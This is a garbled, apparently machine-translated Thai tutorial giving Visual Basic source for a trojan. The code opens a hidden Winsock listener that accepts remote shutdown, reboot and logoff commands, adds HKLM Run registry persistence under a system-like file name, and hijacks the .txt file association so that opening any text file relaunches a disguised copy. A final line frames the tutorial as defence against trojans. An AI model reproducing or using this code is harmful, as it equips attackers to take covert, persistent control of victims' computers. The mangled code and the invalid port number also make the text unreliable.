ขั้นแรก สร้างโปรเจ็กต์ใหม่ชื่อ Server สร้างฟอร์มใหม่ด้วย Name as Server เพิ่มตัวควบคุม winsock ให้กับฟอร์ม ตั้งชื่อเป็น sckServer และตั้งค่าโปรโตคอลเป็นโปรโตคอล TCP/ip เริ่มต้น
ต่อไป เรากลับไปที่โมดูลฟอร์มเซิร์ฟเวอร์และเพิ่มโค้ดต่อไปนี้:
->PRivateSubform_Load()
กับฉัน
.sckServer.LocalPort=88917'พอร์ตท้องถิ่น (ฮ่าฮ่า! วันเกิดของฉัน!)
.sckServer.Listen'เริ่มฟัง
จบด้วย
สิ้นสุดย่อย
'ยอมรับคำขอเชื่อมต่อของลูกค้า
PrivateSubsckServer_ConnectionRequest (ByValrequestIDAsLong)
กับฉัน
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)
จบด้วย
สิ้นสุดย่อย ->
ต่อไป มาสร้างโปรแกรมไคลเอนต์: สร้างโปรเจ็กต์ใหม่ชื่อ Client ตั้งชื่อฟอร์ม Client เพิ่มตัวควบคุม winsock ชื่อ sckClient และโปรโตคอลคือโปรโตคอล TCP/IP เพิ่มปุ่ม cmdConnect อีกปุ่มหนึ่งและเพิ่มโค้ดลงในโมดูลฟอร์ม:
->PrivateSubform_Load()
กับฉัน
.sckClient.RemoteHost=127.0.0.1'ตั้งค่า IP ระยะไกล ในตัวอย่างนี้ ให้ตั้งค่าเป็นเครื่องท้องถิ่น
.sckClient.RemotePort=88917'พอร์ตระยะไกลเหมือนกับการตั้งค่าในเซิร์ฟเวอร์
จบด้วย
สิ้นสุดย่อย
PrivatesubcmdConnect_Click()
SckClient เชื่อมต่อ
สิ้นสุดย่อย->
ณ จุดนี้ เมื่อเราคลิกปุ่มเชื่อมต่อ ทั้งสองโครงการของเราจะสื่อสารกันได้ แต่จะมองไม่เห็น คุณสามารถเพิ่มโค้ดลงในเหตุการณ์ sckClient_Connect ในไคลเอ็นต์: debug.printConnetionsuccessful!
นี่เป็นเพียงขั้นตอนแรกและไม่มีงานทำเลย มาเพิ่มฟังก์ชันการทำงานให้กับพวกเขากันดีกว่า เพื่อความเรียบง่าย บทความนี้ใช้ฟังก์ชันเล็กๆ น้อยๆ เพียงไม่กี่อย่างเท่านั้น ได้แก่การปิดระบบ รีสตาร์ท และออกจากระบบ ตกลง มาเริ่มกันเลย!
สร้างโมดูลใหม่ในโครงการเซิร์ฟเวอร์ด้วยชื่อ modApi โมดูลนี้มีฟังก์ชัน API บางอย่าง เพิ่มฟังก์ชัน API ต่อไปนี้:
-> ประกาศสาธารณะฟังก์ชัน ExitWindowXXXLibuser32AliasExitWindowXXX (ByValuFlagsAsLong, ByValdwReservedAsLong) AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAny)AsLong
PublicTypeRECT
ซ้ายAsLong
ท็อปแอสลอง
ขวาAsLong
ด้านล่างAsLong
ประเภทสิ้นสุด ->
หมายเหตุ: ในการเขียนโปรแกรมระหว่างสองซ็อกเก็ต เหตุการณ์สำคัญสำหรับการสื่อสารคือเหตุการณ์ DataArrival ซึ่งใช้เพื่อรับข้อมูลระยะไกล
ถัดไป ใส่ปุ่มสามปุ่มในรูปแบบไคลเอนต์ของโครงการไคลเอนต์ ได้แก่ cmdExit, cmdLogoff และ cmdReboot ใช้สำหรับการปิดระบบระยะไกล ออกจากระบบ และรีสตาร์ท เพิ่มรหัสต่อไปนี้ตามลำดับ:
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
สิ้นสุดย่อย
PrivateSubcmdLogoff_คลิก()
Me.sckClient.SendDataLogoff
สิ้นสุดย่อย
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
สิ้นสุดย่อย ->
คำขอทั้งหมดถูกส่งไปยังเซิร์ฟเวอร์ ตอนนี้ไปที่โครงการเซิร์ฟเวอร์: เพิ่มเหตุการณ์ DataArrial ของ sckServer ในเซิร์ฟเวอร์เพื่อรับคำขอของลูกค้า
-> PrivateSubsckServer_DataArrival (ByValbytesTotalAsLong)
DimstrDataAsString
กับฉัน
'รับข้อมูลที่ลูกค้าร้องขอ'
.sckServer.GetDatastrData
เลือกCasestrData
กรณีออก
'ปิดตัวลง
CallExitWindowXXX(EWX_SHUTDOWN,0)
เคสรีบูต
'เริ่มต้นใหม่
CallExitWindowXXX(EWX_REBOOT,0)
CaseLogoff
'ออกจากระบบ
โทร ExitWindowXXX (EWX_LOGOFF,0)
สิ้นสุดการเลือก
จบด้วย
สิ้นสุดย่อย ->
โอเค ตอนนี้เราได้นำฟังก์ชันนี้ไปใช้แล้ว แต่ยังไม่ถึง เราต้องการให้ฟังก์ชันนี้ทำงานอยู่เบื้องหลัง ง่ายๆ เพียงเพิ่มประโยค: me.hide ให้กับเหตุการณ์ form_Load ในเซิร์ฟเวอร์ โชคดีที่ตอนนี้มองไม่เห็น แต่ทุกคนรู้ดีว่าโทรจันทำงานโดยอัตโนมัติทันทีที่เปิดคอมพิวเตอร์ เหตุใดจึงเป็นเช่นนี้และเกิดขึ้นได้อย่างไร เพิ่มลงในกลุ่มเริ่มต้นในรีจิสทรีหรือไม่ ใช่ดี มากับฉัน!
กลับไปที่ modApi ในโปรเจ็กต์เซิร์ฟเวอร์และเพิ่มฟังก์ชัน API ต่อไปนี้:
-> PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA (ByValhKeyAsLong, ByVallpSubKeyAsString, phkResultAsLong) AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA (ByValhKeyAsLong, ByVallpvalueNameAsString, ByValReservedAsLong, ByValdwTypeAsLong, lpDataAsAny, ByValcbDataAsLong) AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA (ByValhKeyAsLong, ByVallpSubKeyAsString, phkResultAsLong) AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
กระบวนการที่เขียนไปยังกลุ่มเริ่มต้นระบบรีจิสทรี
-> PublicSubStartupGroup ()
DimsKeyAsString
ผลลัพธ์ไม่ชัดเจนเท่าที่นาน
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'เริ่มคีย์ในกลุ่มและค้นหาคีย์ที่คล้ายกับไฟล์ระบบ
sKeyVal=C:/windows/system/systrsy.exe'เส้นทางของไฟล์โทรจัน คุณสามารถใช้ GetSystemDirectory เพื่อรับเส้นทางของระบบ
ผลลัพธ์=RegOpenKey(HKEY_LOCAL_MACHINE,_
ซอฟต์แวร์/Microsoft/Windows/CurrentVersion/Run,hKeyID)
ถ้าผลลัพธ์=0แล้ว
ผลลัพธ์=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
สิ้นสุดถ้า
สิ้นสุดย่อย ->
แค่นั้นแหละ. อย่างไรก็ตาม คุณเคยคิดบ้างไหมว่าหากคุณไม่ใช่มือใหม่และลบมันออกจากรีจิสทรี งานหนักของเราจะไม่สูญเปล่าหรือไม่? ไม่ คุณต้องทำให้ไม่สามารถลบมันได้ แม้ว่าเขาจะพบมันก็ตาม โปรดดูรหัสด้านล่าง:
->PublicSubWriteToTxt()
ผลลัพธ์ไม่ชัดเจนเท่าที่นาน
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=txtfile/shell/open/command
skeyVal=C:/windows/system/txtView.exe
ผลลัพธ์=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
ถ้าผลลัพธ์=0แล้ว
ผลลัพธ์=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
สิ้นสุดถ้า
สิ้นสุดย่อย ->
เพื่อนหลายคนคงรู้ทันทีว่าเดิมทีมันเกี่ยวข้องกับไฟล์ txt ซึ่งไม่ได้แย่เลย แต่ C:/windows/system/txtView.exe มาจากไหน โทรจันของเราคือ C:/windows/system /systrsy.exe. นี่คือโคลนของม้าโทรจันของเรา
เอาล่ะ กลับไปที่ form_Load ของแบบฟอร์มเซิร์ฟเวอร์ของโครงการเซิร์ฟเวอร์ และเพิ่มรหัสต่อไปนี้:
-> DimsCurrentPathAsString, sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/system
หนึ่งข้อผิดพลาดดำเนินการต่อต่อไป
'คัดลอกไฟล์ไปยัง Systrsy.exe ในไดเร็กทอรีระบบ
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
หนึ่งข้อผิดพลาดดำเนินการต่อต่อไป
คัดลอกไฟล์ไปที่ txtView.exe ในไดเร็กทอรีระบบ
FileCopysCurrentPath,sSystemDir&/txtView.exe->
เรียก
->CallstartupGroup
โทรเขียนถึง Txt
'ตรวจสอบว่าโปรแกรมกำลังทำงานอยู่หรือไม่'
IfApp.PrevInstanceแล้ว
'ออกถ้าทำงานอยู่แล้ว
จบ
EndIf->
สังเกต:
1. เมื่อจัดการกับพอร์ต ควรใช้พอร์ตระดับไฮเอนด์ ไม่เช่นนั้นจะขัดแย้งกับพอร์ตที่ใช้ทั่วไปบางพอร์ต
2. เป็นการดีที่สุดที่จะอ่านหนังสือที่เกี่ยวข้องเมื่อใช้ VB.NET เป็นครั้งแรก
-
ข้างต้นคือวิธีการใช้ Visual Basic เพื่อป้องกันการโจมตีจากโทรจัน ฉันหวังว่าคุณทุกคนจะรู้จักตัวเองและศัตรูและระมัดระวังก่อนที่จะเกิดขึ้น!